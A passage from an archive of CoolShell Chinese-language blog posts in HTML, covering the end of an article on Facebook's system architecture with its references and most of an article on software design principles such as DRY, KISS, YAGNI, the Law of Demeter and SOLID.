0px;\">\n<li>用Java写的Services没有用到任何一个企业级的应用服务器，但用到了Facebook自己的定制的应用服务器。看上去好像是重新发明轮子，但是这些Services只被暴露给Thrift使用（绝大所数是这样），Tomcat太重量级了，即使是Jetty也可能太过了点，其附加值对Facebook所需要的没有意义。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>持久化由MySQL, <a href=\"http://memcached.org/\" target=\"_blank\">Memcached </a>[3], Facebook 的 <a href=\"http://cassandra.apache.org/\" target=\"_blank\">Cassandra </a>[4], Hadoop 的 <a href=\"http://hbase.apache.org/\" target=\"_blank\">HBase </a>[5] 完成。Memcached 使用了MySQL的内存Cache。Facebook 工程师承认他们的Cassandra 使用正在减少，因为他们更喜欢HBase，因为它的更简单的一致性模型，以到其MapReduce能力。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>离线处理使用Hadoop 和 Hive。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>日志，点击，feeds数据使用<a href=\"https://github.com/facebook/scribe\" target=\"_blank\">Scribe </a>[6]，把其聚合并存在 HDFS，其使用<a href=\"http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html\" target=\"_blank\">Scribe-HDFS </a>[7]，因而允许使用MapReduce进行扩展分析。</li>\n</ul>\n<p><span id=\"more-4549\"></span></p>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li><a href=\"http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919\" target=\"_blank\">BigPipe </a>[8] 是他们的定制技术，用来加速页面显示。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li><a href=\"http://www.varnish-cache.org/\" target=\"_blank\">Varnish Cache</a> [9]用作HTTP代理。他们用这个的原因是<a href=\"http://www.varnish-software.com/customers/facebook\" target=\"_blank\">高速和有效率</a>。 [10].</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>用来搞定用户<a href=\"http://www.facebook.com/note.php?note_id=76191543919\" target=\"_blank\">上传的十亿张照片的存储</a>，其由Haystack处理，Facebook自己开发了一个Ad-Hoc存储方案，其主要做了一些低层优化和“仅追加”写技术 [11].</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>Facebook Messages 使用了自己的架构，其明显地构建在了一个动态集群的基础架构上。业务逻辑和持久化被封装在一个所谓的’Cell’。每个‘Cell’都处理一部分用户，新的‘Cell’可以因为访问热度被添加[12]。 持久化归档使用HBase [13]。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>Facebook Messages 的搜索引擎由存储在HBase中的一个倒置索引的构建。 [14]</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>Facebook 搜索引擎实现细节据我所知目前是未知状态。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>Typeahead 搜索使用了一个定制的存储和检索逻辑。 [15]</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px;\">\n<li>Chat 基于一个Epoll 服务器，这个服务器由Erlang 开发，由Thrift存取 [16]</li>\n</ul>\n<p>关于那些供给给上述组件的资源，下面是一些信息和数量，但是有一些是未知的：</p>\n<ul>\n<li>Facebook估计有超过60,000 台服务器[16]。他们最新的数据中心在俄勒冈州的Prineville，其基于完全自定设计的硬件[17] 那是最近才公开的 <a href=\"http://opencompute.org\" target=\"_blank\">Open Compute 项目</a>[18]。</li>\n</ul>\n<ul>\n<li>300 TB 的数据存在 Memcached 中处理 [19]</li>\n</ul>\n<ul>\n<li>他们的Hadoop 和 Hive 集群由3000 服务器组成，每台服务器有8个核，32GB的内存，12TB的硬盘，全部有2万4千个CPU的核，96TB内存和36PB的硬盘。 [20]</li>\n</ul>\n<ul>\n<li>每天有1000亿的点击量，500亿张照片， 3 万亿个对象被 Cache，每天130TB的日志（<a href=\"http://www.facebook.com/note.php?note_id=409881258919\" target=\"_blank\">2010年7月的数据</a>） [21]</li>\n</ul>\n<p><strong>参考引用</strong></p>\n<p>[1] <em style=\"margin: 0px; padding: 0px;\">HipHop for PHP</em>: <a href=\"http://developers.facebook.com/blog/post/358\">http://developers.facebook.com/blog/post/358</a><br style=\"margin: 0px; padding: 0px;\"/>[2] <em style=\"margin: 0px; padding: 0px;\">Thrift</em>: <a href=\"http://thrift.apache.org/\">http://thrift.apache.org/</a><br style=\"margin: 0px; padding: 0px;\"/>[3] <em style=\"margin: 0px; padding: 0px;\">Memcached</em>: <a href=\"http://memcached.org/\">http://memcached.org/</a><br style=\"margin: 0px; padding: 0px;\"/>[4] <em style=\"margin: 0px; padding: 0px;\">Cassandra</em>: <a href=\"http://cassandra.apache.org/\">http://cassandra.apache.org/</a><br style=\"margin: 0px; padding: 0px;\"/>[5] <em style=\"margin: 0px; padding: 0px;\">HBase</em>: <a href=\"http://hbase.apache.org/\">http://hbase.apache.org/</a><br style=\"margin: 0px; padding: 0px;\"/>[6] <em style=\"margin: 0px; padding: 0px;\">Scribe</em>: <a href=\"https://github.com/facebook/scribe\">https://github.com/facebook/scribe</a><br style=\"margin: 0px; padding: 0px;\"/>[7] <em style=\"margin: 0px; padding: 0px;\">Scribe-HDFS</em>: <a href=\"http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html\">http://hadoopblog.blogspot.com/2009/06/hdfs-scribe-integration.html</a><br style=\"margin: 0px; padding: 0px;\"/>[8] <em style=\"margin: 0px; padding: 0px;\">BigPipe</em>: <a href=\"http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919\">http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919</a><br style=\"margin: 0px; padding: 0px;\"/>[9] <em style=\"margin: 0px; padding: 0px;\">Varnish Cache</em>: <a href=\"http://www.varnish-cache.org/\">http://www.varnish-cache.org/</a><br style=\"margin: 0px; padding: 0px;\"/>[10] <em style=\"margin: 0px; padding: 0px;\">Facebook goes for Varnish</em>: <a href=\"http://www.varnish-software.com/customers/facebook\">http://www.varnish-software.com/customers/facebook</a><br style=\"margin: 0px; padding: 0px;\"/>[11] <em style=\"margin: 0px; padding: 0px;\">Needle in a haystack</em>: efficient storage of billions of photos: <a href=\"http://www.facebook.com/note.php?note_id=76191543919\">http://www.facebook.com/note.php?note_id=76191543919</a><br style=\"margin: 0px; padding: 0px;\"/>[12] <em style=\"margin: 0px; padding: 0px;\">Scaling the Messages Application Back End</em>: <a href=\"http://www.facebook.com/note.php?note_id=10150148835363920\">http://www.facebook.com/note.php?note_id=10150148835363920</a><br style=\"margin: 0px; padding: 0px;\"/>[13] <em style=\"margin: 0px; padding: 0px;\">The Underlying Technology of Messages</em>: <a href=\"https://www.facebook.com/note.php?note_id=454991608919\">https://www.facebook.com/note.php?note_id=454991608919</a><br style=\"margin: 0px; padding: 0px;\"/>[14] <em style=\"margin: 0px; padding: 0px;\">The Underlying Technology of Messages Tech Talk</em>: <a href=\"http://www.facebook.com/video/video.php?v=690851516105\">http://www.facebook.com/video/video.php?v=690851516105</a><br style=\"margin: 0px; padding: 0px;\"/>[15] <em style=\"margin: 0px; padding: 0px;\">Facebook’s typeahead search architecture</em>: <a href=\"http://www.facebook.com/video/video.php?v=432864835468\">http://www.facebook.com/video/video.php?v=432864835468</a><br style=\"margin: 0px; padding: 0px;\"/>[16] <em style=\"margin: 0px; padding: 0px;\">Facebook Chat</em>: <a href=\"http://www.facebook.com/note.php?note_id=14218138919\">http://www.facebook.com/note.php?note_id=14218138919</a><br style=\"margin: 0px; padding: 0px;\"/>[17] <em style=\"margin: 0px; padding: 0px;\">Who has the most Web Servers?</em>: <a href=\"http://www.datacenterknowledge.com/archives/2009/05/14/whos-got-the-most-web-servers/\">http://www.datacenterknowledge.com/archives/2009/05/14/whos-got-the-most-web-servers/</a><br style=\"margin: 0px; padding: 0px;\"/>[18] B<em style=\"margin: 0px; padding: 0px;\">uilding Efficient Data Centers with the Open Compute Project</em>: <a href=\"http://www.facebook.com/note.php?note_id=10150144039563920\">http://www.facebook.com/note.php?note_id=10150144039563920</a><br style=\"margin: 0px; padding: 0px;\"/>[19] <em style=\"margin: 0px; padding: 0px;\">Open Compute Project</em>: <a href=\"http://opencompute.org/\">http://opencompute.org/</a><br style=\"margin: 0px; padding: 0px;\"/>[20] <em style=\"margin: 0px; padding: 0px;\">Facebook’s architecture presentation at Devoxx 2010</em>: <a href=\"http://www.devoxx.com\">http://www.devoxx.com</a><br style=\"margin: 0px; padding: 0px;\"/>[21] <em style=\"margin: 0px; padding: 0px;\">Scaling Facebook to 500 millions users and beyond</em>: <a href=\"http://www.facebook.com/note.php?note_id=409881258919\">http://www.facebook.com/note.php?note_id=409881258919</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18140.html\"><img alt=\"关于Facebook 的 React 专利许可证\" height=\"150\" src=\"../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7448.html\"><img alt=\"扎克伯格的一封信：关于Facebook IPO\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3721.html\"><img alt=\"Stack Exchange 的架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3721.html\">Stack Exchange 的架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3396.html\"><img alt=\"Facebook全球关系网\" height=\"150\" src=\"../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3396.html\">Facebook全球关系网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/562.html\"><img alt=\"30种时尚的CSS网站导航条\" height=\"150\" src=\"../wp-content/uploads/2009/04/13-09_menu_menu-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/562.html\">30种时尚的CSS网站导航条</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-25 一些软件设计的原则.html",
    "content": "<html><body><p>以前本站向大家介绍过一些软件开发的原则，比如<a href=\"https://coolshell.cn/articles/1007.html\" rel=\"bookmark noopener\" target=\"_blank\" title=\"优质代码的十诫\">优质代码的十诫</a>和<a href=\"https://coolshell.cn/articles/2324.html\" rel=\"noopener\" target=\"_blank\" title=\"Unix传奇(下篇)\">Unix传奇(下篇)</a>中所以说的UNIX的设计原则。相信大家从中能够从中学了解到一些设计原理方面的知识，正如我在《<a href=\"https://coolshell.cn/articles/4506.html\" rel=\"noopener\" target=\"_blank\" title=\"再谈“我是怎么招聘程序员的”（上）\">再谈“我是怎么招聘程序”</a>》中所说的，一个好的程序员通常由其操作技能、知识水平，经验层力和能力四个方面组成。在这里想和大家说说设计中的一些原则，我认为这些东西属于长期经验总结出来的知识。这些原则，每一个程序员都应该了解。但是请不要教条主义，在使用的时候还是要多多考虑实际情况。其实，<strong>下面这些原则，不单单只是软件开发，可以推广到其它生产活动中，甚至我们的生活中</strong>。</p>\n<h4>Don’t Repeat Yourself (DRY)</h4>\n<p>DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\">http://en.wikipedia.org/wiki/Don%27t_repeat_yourself</a></p>\n<h4>Keep It Simple, Stupid (KISS)</h4>\n<p>KISS原则在设计上可能最被推崇的，在家装设计，界面设计 ，操作设计上，复杂的东西越来越被众人所BS了，而简单的东西越来越被人所认可，比如<a href=\"https://coolshell.cn/articles/1907.html\" rel=\"noopener\" target=\"_blank\" title=\"UI的恶梦\">这些UI的设计</a>和我们<a href=\"https://coolshell.cn/articles/3605.html\" rel=\"noopener\" target=\"_blank\" title=\"为什么中国的网页设计那么烂？\">中国网页</a>（尤其是<a href=\"https://coolshell.cn/articles/3872.html\" rel=\"noopener\" target=\"_blank\" title=\"微软用新浪来当反面教材\">新浪的网页</a>）者是负面的例子。“宜家”（IKEA）简约、效率的家居设计、生产思路；“微软”（Microsoft）“所见即所得”的理念；“谷歌”（Google)简约、直接的商业风格，无一例外的遵循了“kiss”原则，也正是“kiss”原则，成就了这些看似神奇的商业经典。而苹果公司的iPhone/iPad将这个原则实践到了极至。</p>\n<p><span id=\"more-4535\"></span></p>\n<p>把一个事情搞复杂是一件简单的事，但要把一个复杂的事变简单，这是一件复杂的事。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/KISS_principle\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/KISS_principle\">http://en.wikipedia.org/wiki/KISS_principle</a></p>\n<h4>Program to an interface, not an implementation</h4>\n<p>这是设计模式中最根本的哲学，注重接口，而不是实现，依赖接口，而不是实现。接口是抽象是稳定的，实现则是多种多样的。以后面我们会面向对象的SOLID原则中会提到我们的依赖倒置原则，就是这个原则的的另一种样子。还有一条原则叫 <strong>Composition over inheritance</strong>（喜欢组合而不是继承），这两条是那23个经典设计模式中的设计原则。</p>\n<h4>Command-Query Separation (CQS)  – 命令-查询分离原则</h4>\n<ul>\n<li>查询：当一个方法返回一个值来回应一个问题的时候，它就具有查询的性质；</li>\n<li>命令：当一个方法要改变对象的状态的时候，它就具有命令的性质；</li>\n</ul>\n<p>通常，一个方法可能是纯的Command模式或者是纯的Query模式，或者是两者的混合体。在设计接口时，如果可能，应该尽量使接口单一化，保证方法的行为严格的是命令或者是查询，这样查询方法不会改变对象的状态，没有副作用，而会改变对象的状态的方法不可能有返回值。也就是说：如果我们要问一个问题，那么就不应该影响到它的答案。实际应用，要视具体情况而定，语义的清晰性和使用的简单性之间需要权衡。将Command和Query功能合并入一个方法，方便了客户的使用，但是，降低了清晰性，而且，可能不便于基于断言的程序设计并且需要一个变量来保存查询结果。</p>\n<p>在系统设计中，很多系统也是以这样原则设计的，查询的功能和命令功能的系统分离，这样有则于系统性能，也有利于系统的安全性。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Command-query_separation\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/Command-query_separation\">http://en.wikipedia.org/wiki/Command-query_separation</a></p>\n<h4>You Ain’t Gonna Need It (YAGNI)</h4>\n<p>这个原则简而言之为——只考虑和设计必须的功能，避免过度设计。只实现目前需要的功能，在以后您需要更多功能时，可以再进行添加。</p>\n<ul>\n<li>如无必要，勿增复杂性。</li>\n<li>软件开发先是一场沟通博弈。</li>\n</ul>\n<p>以前本站有一篇关于<a href=\"https://coolshell.cn/articles/3005.html\" rel=\"noopener\" target=\"_blank\" title=\"代码重构的一个示例\">过度重构的文章</a>，这个示例就是这个原则的反例。而，WebSphere的设计者就<a href=\"http://www.bbc.co.uk/news/business-11944966\" rel=\"noopener\" target=\"_blank\">表示过他过度设计了这个产品</a>。我们的程序员或是架构师在设计系统的时候，会考虑很多扩展性的东西，导致在架构与设计方面使用了大量折衷，最后导致项目失败。这是个令人感到讽刺的教训，因为本来希望尽可能延长项目的生命周期，结果反而缩短了生命周期。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It\" rel=\"nofollow noopener\" target=\"_blank\" title=\"http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It\">http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It</a></p>\n<h4>Law of Demeter – 迪米特法则</h4>\n<p>迪米特法则(Law of Demeter)，又称“最少知识原则”（Principle of Least Knowledge），其来源于1987年荷兰大学的一个叫做Demeter的项目。Craig Larman把Law of Demeter又称作“不要和陌生人说话”。在《程序员修炼之道》中讲LoD的那一章叫作“解耦合与迪米特法则”。关于迪米特法则有一些很形象的比喻：</p>\n<ul>\n<li>如果你想让你的狗跑的话，你会对狗狗说还是对四条狗腿说？</li>\n<li>如果你去店里买东西，你会把钱交给店员，还是会把钱包交给店员让他自己拿？</li>\n</ul>\n<p>和狗的四肢说话？让店员自己从钱包里拿钱？这听起来有点荒唐，不过在我们的代码里这几乎是见怪不怪的事情了。</p>\n<p>对于LoD，正式的表述如下：</p>\n<blockquote><p>对于对象 ‘O’ 中一个方法’M’，M应该只能够访问以下对象中的方法：</p>\n<ol>\n<li>对象O；</li>\n<li>与O直接相关的Component Object；</li>\n<li>由方法M创建或者实例化的对象；</li>\n<li>作为方法M的参数的对象。</li>\n</ol>\n</blockquote>\n<p>在《Clean Code》一书中，有一段Apache framework中的一段违反了LoD的代码：</p>\n<p style=\"padding-left: 30px;\">final String outputDir = ctxt.getOptions().getScratchDir().getAbsolutePath();</p>\n<p>这么长的一串对其它对象的细节，以及细节的细节，细节的细节的细节……的调用，增加了耦合，使得代码结构复杂、僵化，难以扩展和维护。</p>\n<p>在《重构》一书中的代码的环味道中有一种叫做“Feature Envy”(依恋情结），形象的描述了一种违反了LoC的情况。Feature Envy就是说一个对象对其它对象的内容更有兴趣，也就是说老是羡慕别的对象的成员、结构或者功能，大老远的调用人家的东西。这样的结构显然是不合理的。我们的程序应该写得比较“害羞”。不能像前面例子中的那个不把自己当外人的店员一样，拿过客人的钱包自己把钱拿出来。“害羞”的程序只和自己最近的朋友交谈。这种情况下应该调整程序的结构，让那个对象自己拥有它羡慕的feature，或者使用合理的设计模式（例如Facade和Mediator）。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge\">http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge</a></p>\n<h4>面向对象的S.O.L.I.D 原则</h4>\n<p>一般来说这是面向对象的五大设计原则，但是，我觉得这些原则可适用于所有的软件开发。</p>\n<p><strong>Single Responsibility Principle (SRP) – 职责单一原则</strong></p>\n<p>关于单一职责原则，其核心的思想是：<strong>一个类，只做一件事，并把这件事做好，其只有一个引起它变化的原因</strong>。单一职责原则可以看作是低耦合、高内聚在面向对象原则上的引申，将职责定义为引起变化的原因，以提高内聚性来减少引起变化的原因。职责过多，可能引起它变化的原因就越多，这将导致职责依赖，相互之间就产生影响，从而极大的损伤其内聚性和耦合度。单一职责，通常意味着单一的功能，因此不要为一个模块实现过多的功能点，以保证实体只有一个引起它变化的原因。</p>\n<ul>\n<li>Unix/Linux是这一原则的完美体现者。各个程序都独立负责一个单一的事。</li>\n<li>Windows是这一原则的反面示例。几乎所有的程序都交织耦合在一起。</li>\n</ul>\n<p><strong>Open/Closed Principle (OCP) – 开闭原则</strong></p>\n<p>关于开发封闭原则，其核心的思想是：模块是可扩展的，而不可修改的。也就是说，<strong>对扩展是开放的，而对修改是封闭的</strong>。</p>\n<ul>\n<li>对扩展开放，意味着有新的需求或变化时，可以对现有代码进行扩展，以适应新的情况。</li>\n<li>对修改封闭，意味着类一旦设计完成，就可以独立完成其工作，而不要对类进行任何修改。</li>\n</ul>\n<p>对于面向对象来说，需要你依赖抽象，而不是实现，23个经典设计模式中的“策略模式”就是这个实现。对于非面向对象编程，一些API需要你传入一个你可以扩展的函数，比如我们的C 语言的qsort()允许你提供一个“比较器”，STL中的容器类的内存分配，ACE中的多线程的各种锁。对于软件方面，浏览器的各种插件属于这个原则的实践。</p>\n<p><strong>Liskov substitution principle (LSP) – 里氏代换原则</strong></p>\n<p>软件工程大师Robert C. Martin把里氏代换原则最终简化为一句话：“Subtypes must be substitutable for their base types”。也就是，子类必须能够替换成它们的基类。即：子类应该可以替换任何基类能够出现的地方，并且经过替换以后，代码还能正常工作。另外，不应该在代码中出现if/else之类对子类类型进行判断的条件。里氏替换原则LSP是使代码符合开闭原则的一个重要保证。正是由于子类型的可替换性才使得父类型的模块在无需修改的情况下就可以扩展。</p>\n<p>这么说来，似乎有点教条化，我非常建议大家看看这个原则个两个最经典的案例——“正方形不是长方形”和“鸵鸟不是鸟”。通过这两个案例，你会明白《墨子 小取》中说的 ——“娣，美人也，爱娣，非爱美人也….盗，人也；恶盗，非恶人也。”——妹妹虽然是美人，但喜欢妹妹并不代表喜欢美人。盗贼是人，但讨厌盗贼也并不代表就讨厌人类。<strong>这个原则让你考虑的不是语义上对象的间的关系，而是实际需求的环境</strong>。</p>\n<p>在很多情况下，在设计初期我们类之间的关系不是很明确，LSP则给了我们一个判断和设计类之间关系的基准：需不需要继承，以及怎样设计继承关系。</p>\n<p><strong>Interface Segregation Principle (ISP) – 接口隔离原则</strong></p>\n<p>接口隔离原则意思是把功能实现在接口中，而不是类中，使用多个专门的接口比使用单一的总接口要好。</p>\n<p>举个例子，我们对电脑有不同的使用方式，比如：写作，通讯，看电影，打游戏，上网，编程，计算，数据等，如果我们把这些功能都声明在电脑的抽类里面，那么，我们的上网本，PC机，服务器，笔记本的实现类都要实现所有的这些接口，这就显得太复杂了。所以，我们可以把其这些功能接口隔离开来，比如：工作学习接口，编程开发接口，上网娱乐接口，计算和数据服务接口，这样，我们的不同功能的电脑就可以有所选择地继承这些接口。</p>\n<p>这个原则可以提升我们“搭积木式”的软件开发。对于设计来说，Java中的各种Event Listener和Adapter，对于软件开发来说，不同的用户权限有不同的功能，不同的版本有不同的功能，都是这个原则的应用。</p>\n<p><strong>Dependency Inversion Principle (DIP) – 依赖倒置原则</strong></p>\n<p>高层模块不应该依赖于低层模块的实现，而是依赖于高层抽象。</p>\n<p>举个例子，墙面的开关不应该依赖于电灯的开关实现，而是应该依赖于一个抽象的开关的标准接口，这样，当我们扩展程序的时候，我们的开关同样可以控制其它不同的灯，甚至不同的电器。也就是说，电灯和其它电器继承并实现我们的标准开关接口，而我们的开关产商就可不需要关于其要控制什么样的设备，只需要关心那个标准的开关标准。这就是依赖倒置原则。</p>\n<p>这就好像浏览器并不依赖于后面的web服务器，其只依赖于HTTP协议。这个原则实在是太重要了，社会的分工化，标准化都是这个设计原则的体现。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Solid_(object-oriented_design)\">http://en.wikipedia.org/wiki/Solid_(object-oriented_design)</a></p>\n<h4>Common Closure Principle（CCP）– 共同封闭原则</h4>\n<p>一个包中所有的类应该对同一种类型的变化关闭。一个变化影响一个包，便影响了包中所有的类。一个更简短的说法是：一起修改的类，应该组合在一起（同一个包里）。如果必须修改应用程序里的代码，我们希望所有的修改都发生在一个包里（修改关闭），而不是遍布在很多包里。CCP原则就是把因为某个同样的原因而需要修改的所有类组合进一个包里。如果2个类从物理上或者从概念上联系得非常紧密，它们通常一起发生改变，那么它们应该属于同一个包。</p>\n<p>CCP延伸了开闭原则（OCP）的“关闭”概念，当因为某个原因需要修改时，把需要修改的范围限制在一个最小范围内的包里。</p>\n<p><strong>参考</strong>：<a href=\"http://c2.com/cgi/wiki?CommonClosurePrinciple\">http://c2.com/cgi/wiki?CommonClosurePrinciple</a></p>\n<h4>Common Reuse Principle (CRP) – 共同重用原则</h4>\n<p>包的所有类被一起重用。如果你重用了其中的一个类，就重用全部。换个说法是，没有被一起重用的类不应该被组合在一起。CRP原则帮助我们决定哪些类应该被放到同一个包里。依赖一个包就是依赖这个包所包含的一切。当一个包发生了改变，并发布新的版本，使用这个包的所有用户都必须在新的包环境下验证他们的工作，即使被他们使用的部分没有发生任何改变。因为如果包中包含有未被使用的类，即使用户不关心该类是否改变，但用户还是不得不升级该包并对原来的功能加以重新测试。</p>\n<p>CCP则让系统的维护者受益。CCP让包尽可能大（CCP原则加入功能相关的类），CRP则让包尽可能小（CRP原则剔除不使用的类）。它们的出发点不一样，但不相互冲突。</p>\n<p><strong>参考</strong>：<a href=\"http://c2.com/cgi/wiki?CommonReusePrinciple\">http://c2.com/cgi/wiki?CommonReusePrinciple</a></p>\n<h4>Hollywood Principle – 好莱坞原则</h4>\n<p>好莱坞原则就是一句话——“don’t call us, we’ll call you.”。意思是，好莱坞的经纪人们不希望你去联系他们，而是他们会在需要的时候来联系你。也就是说，所有的组件都是被动的，所有的组件初始化和调用都由容器负责。组件处在一个容器当中，由容器负责管理。</p>\n<p>简单的来讲，就是由容器控制程序之间的关系，而非传统实现中，由程序代码直接操控。这也就是所谓“控制反转”的概念所在：</p>\n<ol>\n<li>不创建对象，而是描述创建对象的方式。</li>\n<li>在代码中，对象与服务没有直接联系，而是容器负责将这些联系在一起。</li>\n</ol>\n<p>控制权由应用代码中转到了外部容器，控制权的转移，是所谓反转。</p>\n<p>好莱坞原则就是IoC（Inversion of Control）或DI（Dependency Injection ）的基础原则。这个原则很像依赖倒置原则，依赖接口，而不是实例，但是这个原则要解决的是怎么把这个实例传入调用类中？你可能把其声明成成员，你可以通过构造函数，你可以通过函数参数。但是 IoC可以让你通过配置文件，一个由Service Container 读取的配置文件来产生实际配置的类。但是程序也有可能变得不易读了，程序的性能也有可能还会下降。</p>\n<p><strong>参考</strong>：</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Hollywood_Principle\">http://en.wikipedia.org/wiki/Hollywood_Principle</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Inversion_of_Control\">http://en.wikipedia.org/wiki/Inversion_of_Control</a></li>\n</ul>\n<h4>High Cohesion &amp; Low/Loose coupling &amp; – 高内聚， 低耦合</h4>\n<p>这个原则是UNIX操作系统设计的经典原则，把模块间的耦合降到最低，而努力让一个模块做到精益求精。</p>\n<ul>\n<li>内聚：一个模块内各个元素彼此结合的紧密程度</li>\n<li>耦合：一个软件结构内不同模块之间互连程度的度量</li>\n</ul>\n<p>内聚意味着重用和独立，耦合意味着多米诺效应牵一发动全身。</p>\n<p><strong>参考</strong>：</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Coupling_%28computer_science%29\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/Coupling_(computer_science)\">http://en.wikipedia.org/wiki/Coupling_(computer_science)</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Cohesion_%28computer_science%29\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/Cohesion_(computer_science)\">http://en.wikipedia.org/wiki/Cohesion_(computer_science)</a></li>\n</ul>\n<h4>Convention over Configuration（CoC）– 惯例优于配置原则</h4>\n<p>简单点说，就是将一些公认的配置方式和信息作为内部缺省的规则来使用。例如，Hibernate的映射文件，如果约定字段名和类属性一致的话，基本上就可以不要这个配置文件了。你的应用只需要指定不convention的信息即可，从而减少了大量convention而又不得不花时间和精力啰里啰嗦的东东。配置文件很多时候相当的影响开发效率。</p>\n<p>Rails 中很少有配置文件（但不是没有，数据库连接就是一个配置文件），Rails 的fans号称期开发效率是 java 开发的 10 倍，估计就是这个原因。Maven也使用了CoC原则，当你执行mvn -compile命令的时候，不需要指源文件放在什么地方，而编译以后的class文件放置在什么地方也没有指定，这就是CoC原则。</p>\n<p><strong>参考</strong>：<a href=\"http://en.wikipedia.org/wiki/Convention_over_Configuration\" rel=\"nofollow\" title=\"http://en.wikipedia.org/wiki/Convention_over_Configuration\">http://en.wikipedia.org/wiki/Convention_over_Configuration</a></p>\n<h4>Separation of Concerns (SoC) – 关注点分离</h4>\n<p>SoC 